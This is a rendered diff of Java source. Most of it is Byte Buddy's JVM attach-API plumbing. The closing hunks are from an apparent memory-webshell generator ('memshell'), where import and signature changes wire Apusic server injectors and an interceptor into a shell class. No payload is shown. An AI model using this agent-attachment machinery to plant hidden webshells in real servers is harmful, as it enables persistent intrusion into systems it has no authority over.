|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider is responsible for making the Java attachment API available.
|
||||||
|
*/
|
||||||
|
public interface AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The default attachment provider to be used.
|
||||||
|
*/
|
||||||
|
AttachmentProvider DEFAULT = new Compound(ForModularizedVm.INSTANCE,
|
||||||
|
ForJ9Vm.INSTANCE,
|
||||||
|
ForStandardToolsJarVm.JVM_ROOT,
|
||||||
|
ForStandardToolsJarVm.JDK_ROOT,
|
||||||
|
ForStandardToolsJarVm.MACINTOSH,
|
||||||
|
ForUserDefinedToolsJar.INSTANCE,
|
||||||
|
ForEmulatedAttachment.INSTANCE);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attempts the creation of an accessor for a specific JVM's attachment API.
|
||||||
|
*
|
||||||
|
* @return The accessor this attachment provider can supply for the currently running JVM.
|
||||||
|
*/
|
||||||
|
Accessor attempt();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An accessor for a JVM's attachment API.
|
||||||
|
*/
|
||||||
|
interface Accessor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The name of the {@code VirtualMachine} class on any OpenJDK or Oracle JDK implementation.
|
||||||
|
*/
|
||||||
|
String VIRTUAL_MACHINE_TYPE_NAME = "com.sun.tools.attach.VirtualMachine";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The name of the {@code VirtualMachine} class on IBM J9 VMs.
|
||||||
|
*/
|
||||||
|
String VIRTUAL_MACHINE_TYPE_NAME_J9 = "com.ibm.tools.attach.VirtualMachine";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Determines if this accessor is applicable for the currently running JVM.
|
||||||
|
*
|
||||||
|
* @return {@code true} if this accessor is available.
|
||||||
|
*/
|
||||||
|
boolean isAvailable();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
|
||||||
|
*
|
||||||
|
* @return {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
|
||||||
|
*/
|
||||||
|
boolean isExternalAttachmentRequired();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns a {@code VirtualMachine} class. This method must only be called for available accessors.
|
||||||
|
*
|
||||||
|
* @return The virtual machine type.
|
||||||
|
*/
|
||||||
|
Class<?> getVirtualMachineType();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns a description of a virtual machine class for an external attachment.
|
||||||
|
*
|
||||||
|
* @return A description of the external attachment.
|
||||||
|
*/
|
||||||
|
ExternalAttachment getExternalAttachment();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A canonical implementation of an unavailable accessor.
|
||||||
|
*/
|
||||||
|
enum Unavailable implements Accessor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isAvailable() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isExternalAttachmentRequired() {
|
||||||
|
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Class<?> getVirtualMachineType() {
|
||||||
|
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public ExternalAttachment getExternalAttachment() {
|
||||||
|
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Describes an external attachment to a Java virtual machine.
|
||||||
|
*/
|
||||||
|
class ExternalAttachment {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The fully-qualified binary name of the virtual machine type.
|
||||||
|
*/
|
||||||
|
private final String virtualMachineType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The class path elements required for loading the supplied virtual machine type.
|
||||||
|
*/
|
||||||
|
private final List<File> classPath;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates an external attachment.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType The fully-qualified binary name of the virtual machine type.
|
||||||
|
* @param classPath The class path elements required for loading the supplied virtual machine type.
|
||||||
|
*/
|
||||||
|
public ExternalAttachment(String virtualMachineType, List<File> classPath) {
|
||||||
|
this.virtualMachineType = virtualMachineType;
|
||||||
|
this.classPath = classPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the fully-qualified binary name of the virtual machine type.
|
||||||
|
*
|
||||||
|
* @return The fully-qualified binary name of the virtual machine type.
|
||||||
|
*/
|
||||||
|
public String getVirtualMachineType() {
|
||||||
|
return virtualMachineType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the class path elements required for loading the supplied virtual machine type.
|
||||||
|
*
|
||||||
|
* @return The class path elements required for loading the supplied virtual machine type.
|
||||||
|
*/
|
||||||
|
public List<File> getClassPath() {
|
||||||
|
return classPath;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A simple implementation of an accessible accessor.
|
||||||
|
*/
|
||||||
|
abstract class Simple implements Accessor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A {@code VirtualMachine} class.
|
||||||
|
*/
|
||||||
|
protected final Class<?> virtualMachineType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new simple accessor.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType A {@code VirtualMachine} class.
|
||||||
|
*/
|
||||||
|
protected Simple(Class<?> virtualMachineType) {
|
||||||
|
this.virtualMachineType = virtualMachineType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
|
||||||
|
* to load the {@code com.sun.tools.attach.VirtualMachine} class from the provided class loader.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* This accessor is supposed to work on any implementation of the OpenJDK or Oracle JDK.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param classLoader A class loader that is capable of loading the virtual machine type.
|
||||||
|
* @param classPath The class path required to load the virtual machine class.
|
||||||
|
* @return An appropriate accessor.
|
||||||
|
*/
|
||||||
|
public static Accessor of(ClassLoader classLoader, File... classPath) {
|
||||||
|
try {
|
||||||
|
return new WithExternalAttachment(Class.forName(VIRTUAL_MACHINE_TYPE_NAME,
|
||||||
|
false,
|
||||||
|
classLoader), Arrays.asList(classPath));
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
return Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
|
||||||
|
* to load the {@code com.ibm.tools.attach.VirtualMachine} class from the provided class loader.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* This accessor is supposed to work on any implementation of IBM's J9.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @return An appropriate accessor.
|
||||||
|
*/
|
||||||
|
public static Accessor ofJ9() {
|
||||||
|
try {
|
||||||
|
return new WithExternalAttachment(ClassLoader.getSystemClassLoader().loadClass(VIRTUAL_MACHINE_TYPE_NAME_J9),
|
||||||
|
Collections.<File>emptyList());
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
return Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isAvailable() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Class<?> getVirtualMachineType() {
|
||||||
|
return virtualMachineType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A simple implementation of an accessible accessor that allows for external attachment.
|
||||||
|
*/
|
||||||
|
protected static class WithExternalAttachment extends Simple {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The class path required for loading the virtual machine type.
|
||||||
|
*/
|
||||||
|
private final List<File> classPath;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new simple accessor that allows for external attachment.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType The {@code com.sun.tools.attach.VirtualMachine} class.
|
||||||
|
* @param classPath The class path required for loading the virtual machine type.
|
||||||
|
*/
|
||||||
|
public WithExternalAttachment(Class<?> virtualMachineType, List<File> classPath) {
|
||||||
|
super(virtualMachineType);
|
||||||
|
this.classPath = classPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isExternalAttachmentRequired() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public ExternalAttachment getExternalAttachment() {
|
||||||
|
return new ExternalAttachment(virtualMachineType.getName(), classPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A simple implementation of an accessible accessor that attaches using a virtual machine emulation that does not require external attachment.
|
||||||
|
*/
|
||||||
|
protected static class WithDirectAttachment extends Simple {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new simple accessor that implements direct attachment.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType A {@code VirtualMachine} class.
|
||||||
|
*/
|
||||||
|
public WithDirectAttachment(Class<?> virtualMachineType) {
|
||||||
|
super(virtualMachineType);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isExternalAttachmentRequired() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public ExternalAttachment getExternalAttachment() {
|
||||||
|
throw new IllegalStateException("Cannot apply external attachment");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the attach API directly from the system class loader, as possible since
|
||||||
|
* introducing the Java module system via the {@code jdk.attach} module.
|
||||||
|
*/
|
||||||
|
enum ForModularizedVm implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
return Accessor.Simple.of(ClassLoader.getSystemClassLoader());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the attach API directly from the system class loader expecting
|
||||||
|
* an IBM J9 VM.
|
||||||
|
*/
|
||||||
|
enum ForJ9Vm implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
return Accessor.Simple.ofJ9();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that is dependant on the existence of a <i>tools.jar</i> file on the local
|
||||||
|
* file system.
|
||||||
|
*/
|
||||||
|
enum ForStandardToolsJarVm implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the <i>tools.jar</i> from a Java home directory.
|
||||||
|
*/
|
||||||
|
JVM_ROOT("../lib/tools.jar"),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the <i>tools.jar</i> from a Java installation directory.
|
||||||
|
* In practice, several virtual machines do not return the JRE's location for the
|
||||||
|
* <i>java.home</i> property against the property's specification.
|
||||||
|
*/
|
||||||
|
JDK_ROOT("lib/tools.jar"),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the <i>tools.jar</i> as it is set for several JVM
|
||||||
|
* installations on Apple Macintosh computers.
|
||||||
|
*/
|
||||||
|
MACINTOSH("../Classes/classes.jar");
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The Java home system property.
|
||||||
|
*/
|
||||||
|
private static final String JAVA_HOME_PROPERTY = "java.home";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The path to the <i>tools.jar</i> file, starting from the Java home directory.
|
||||||
|
*/
|
||||||
|
private final String toolsJarPath;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new attachment provider that loads the virtual machine class from the <i>tools.jar</i>.
|
||||||
|
*
|
||||||
|
* @param toolsJarPath The path to the <i>tools.jar</i> file, starting from the Java home directory.
|
||||||
|
*/
|
||||||
|
ForStandardToolsJarVm(String toolsJarPath) {
|
||||||
|
this.toolsJarPath = toolsJarPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
File toolsJar = new File(System.getProperty(JAVA_HOME_PROPERTY), toolsJarPath);
|
||||||
|
try {
|
||||||
|
return toolsJar.isFile() && toolsJar.canRead()
|
||||||
|
? Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar)
|
||||||
|
: Accessor.Unavailable.INSTANCE;
|
||||||
|
} catch (MalformedURLException exception) {
|
||||||
|
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that attempts to locate a {@code tools.jar} from a custom location set via a system property.
|
||||||
|
*/
|
||||||
|
enum ForUserDefinedToolsJar implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singelton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The property being read for locating {@code tools.jar}.
|
||||||
|
*/
|
||||||
|
public static final String PROPERTY = "net.bytebuddy.agent.toolsjar";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
String location = System.getProperty(PROPERTY);
|
||||||
|
if (location == null) {
|
||||||
|
return Accessor.Unavailable.INSTANCE;
|
||||||
|
} else {
|
||||||
|
File toolsJar = new File(location);
|
||||||
|
try {
|
||||||
|
return Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar);
|
||||||
|
} catch (MalformedURLException exception) {
|
||||||
|
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that uses Byte Buddy's attachment API emulation. To use this feature, JNA is required.
|
||||||
|
*/
|
||||||
|
enum ForEmulatedAttachment implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
try {
|
||||||
|
return new Accessor.Simple.WithDirectAttachment(VirtualMachine.Resolver.INSTANCE.get());
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
return Accessor.Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A compound attachment provider that attempts the attachment by delegation to other providers. If
|
||||||
|
* none of the providers of this compound provider is capable of providing a valid accessor, an
|
||||||
|
* non-available accessor is returned.
|
||||||
|
*/
|
||||||
|
class Compound implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A list of attachment providers in the order of their application.
|
||||||
|
*/
|
||||||
|
private final List<AttachmentProvider> attachmentProviders;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new compound attachment provider.
|
||||||
|
*
|
||||||
|
* @param attachmentProvider A list of attachment providers in the order of their application.
|
||||||
|
*/
|
||||||
|
public Compound(AttachmentProvider... attachmentProvider) {
|
||||||
|
this(Arrays.asList(attachmentProvider));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new compound attachment provider.
|
||||||
|
*
|
||||||
|
* @param attachmentProviders A list of attachment providers in the order of their application.
|
||||||
|
*/
|
||||||
|
public Compound(List<? extends AttachmentProvider> attachmentProviders) {
|
||||||
|
this.attachmentProviders = new ArrayList<AttachmentProvider>();
|
||||||
|
for (AttachmentProvider attachmentProvider : attachmentProviders) {
|
||||||
|
if (attachmentProvider instanceof Compound) {
|
||||||
|
this.attachmentProviders.addAll(((Compound) attachmentProvider).attachmentProviders);
|
||||||
|
} else {
|
||||||
|
this.attachmentProviders.add(attachmentProvider);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
for (AttachmentProvider attachmentProvider : attachmentProviders) {
|
||||||
|
Accessor accessor = attachmentProvider.attempt();
|
||||||
|
if (accessor.isAvailable()) {
|
||||||
|
return accessor;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Accessor.Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A process provider is responsible for providing the process id of the current VM.
|
||||||
|
*/
|
||||||
|
public interface ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Resolves a process id for the current JVM.
|
||||||
|
*
|
||||||
|
* @return The resolved process id.
|
||||||
|
*/
|
||||||
|
String resolve();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Supplies the current VM's process id.
|
||||||
|
*/
|
||||||
|
enum ForCurrentVm implements ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The best process provider for the current VM.
|
||||||
|
*/
|
||||||
|
private final ProcessProvider dispatcher;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a process provider that supplies the current VM's process id.
|
||||||
|
*/
|
||||||
|
ForCurrentVm() {
|
||||||
|
dispatcher = ForJava9CapableVm.make();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public String resolve() {
|
||||||
|
return dispatcher.resolve();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A process provider for a legacy VM that reads the process id from its JMX properties. This strategy
|
||||||
|
* is only used prior to Java 9 such that the <i>java.management</i> module never is resolved, even if
|
||||||
|
* the module system is used, as the module system was not available in any relevant JVM version.
|
||||||
|
*/
|
||||||
|
protected enum ForLegacyVm implements ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public String resolve() {
|
||||||
|
String runtimeName;
|
||||||
|
try {
|
||||||
|
Method method = Class.forName("java.lang.management.ManagementFactory").getMethod("getRuntimeMXBean");
|
||||||
|
runtimeName = (String) method.getReturnType().getMethod("getName").invoke(method.invoke(null));
|
||||||
|
} catch (Exception exception) {
|
||||||
|
throw new IllegalStateException("Failed to access VM name via management factory", exception);
|
||||||
|
}
|
||||||
|
int processIdIndex = runtimeName.indexOf('@');
|
||||||
|
if (processIdIndex == -1) {
|
||||||
|
throw new IllegalStateException("Cannot extract process id from runtime management bean");
|
||||||
|
} else {
|
||||||
|
return runtimeName.substring(0, processIdIndex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A process provider for a Java 9 capable VM with access to the introduced process API.
|
||||||
|
*/
|
||||||
|
protected static class ForJava9CapableVm implements ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
*/
|
||||||
|
private final Method current;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
private final Method pid;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new Java 9 capable dispatcher for reading the current process's id.
|
||||||
|
*
|
||||||
|
* @param current The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
protected ForJava9CapableVm(Method current, Method pid) {
|
||||||
|
this.current = current;
|
||||||
|
this.pid = pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attempts to create a dispatcher for a Java 9 VM and falls back to a legacy dispatcher
|
||||||
|
* if this is not possible.
|
||||||
|
*
|
||||||
|
* @return A dispatcher for the current VM.
|
||||||
|
*/
|
||||||
|
public static ProcessProvider make() {
|
||||||
|
try {
|
||||||
|
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
|
||||||
|
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return ForLegacyVm.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public String resolve() {
|
||||||
|
try {
|
||||||
|
return pid.invoke(current.invoke(null)).toString();
|
||||||
|
} catch (IllegalAccessException exception) {
|
||||||
|
throw new IllegalStateException("Cannot access Java 9 process API", exception);
|
||||||
|
} catch (InvocationTargetException exception) {
|
||||||
|
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An agent provider is responsible for handling and providing the jar file of an agent that is being attached.
|
||||||
|
*/
|
||||||
|
protected interface AgentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Provides an agent jar file for attachment.
|
||||||
|
*
|
||||||
|
* @return The provided agent.
|
||||||
|
* @throws IOException If the agent cannot be written to disk.
|
||||||
|
*/
|
||||||
|
File resolve() throws IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An agent provider that supplies an existing agent that is not deleted after attachment.
|
||||||
|
*/
|
||||||
|
class ForExistingAgent implements AgentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The supplied agent.
|
||||||
|
*/
|
||||||
|
private final File agent;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates an agent provider for an existing agent.
|
||||||
|
*
|
||||||
|
* @param agent The supplied agent.
|
||||||
|
*/
|
||||||
|
protected ForExistingAgent(File agent) {
|
||||||
|
this.agent = agent;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public File resolve() {
|
||||||
|
return agent;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment evaluator is responsible for deciding if an agent can be attached from the current process.
|
||||||
|
*/
|
||||||
|
protected interface AttachmentTypeEvaluator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Checks if the current VM requires external attachment for the supplied process id.
|
||||||
|
*
|
||||||
|
* @param processId The process id of the process to which to attach.
|
||||||
|
* @return {@code true} if the current VM requires external attachment for the supplied process.
|
||||||
|
*/
|
||||||
|
boolean requiresExternalAttachment(String processId);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An installation action for creating an attachment type evaluator.
|
||||||
|
*/
|
||||||
|
enum InstallationAction implements PrivilegedAction<AttachmentTypeEvaluator> {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The OpenJDK's property for specifying the legality of self-attachment.
|
||||||
|
*/
|
||||||
|
private static final String JDK_ALLOW_SELF_ATTACH = "jdk.attach.allowAttachSelf";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public AttachmentTypeEvaluator run() {
|
||||||
|
try {
|
||||||
|
if (Boolean.getBoolean(JDK_ALLOW_SELF_ATTACH)) {
|
||||||
|
return Disabled.INSTANCE;
|
||||||
|
} else {
|
||||||
|
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
|
||||||
|
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return Disabled.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment type evaluator that never requires external attachment.
|
||||||
|
*/
|
||||||
|
enum Disabled implements AttachmentTypeEvaluator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean requiresExternalAttachment(String processId) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment type evaluator that checks a process id against the current process id.
|
||||||
|
*/
|
||||||
|
class ForJava9CapableVm implements AttachmentTypeEvaluator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
*/
|
||||||
|
private final Method current;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
private final Method pid;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new attachment type evaluator.
|
||||||
|
*
|
||||||
|
* @param current The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
protected ForJava9CapableVm(Method current, Method pid) {
|
||||||
|
this.current = current;
|
||||||
|
this.pid = pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean requiresExternalAttachment(String processId) {
|
||||||
|
try {
|
||||||
|
return pid.invoke(current.invoke(null)).toString().equals(processId);
|
||||||
|
} catch (IllegalAccessException exception) {
|
||||||
|
throw new IllegalStateException("Cannot access Java 9 process API", exception);
|
||||||
|
} catch (InvocationTargetException exception) {
|
||||||
|
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+2887
File diff suppressed because it is too large
Load Diff
+4
-1
@@ -4,7 +4,10 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector;
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector;
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector;
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector;
|
||||||
@@ -18,7 +19,7 @@ public class ApusicShell extends AbstractShell {
|
|||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||||
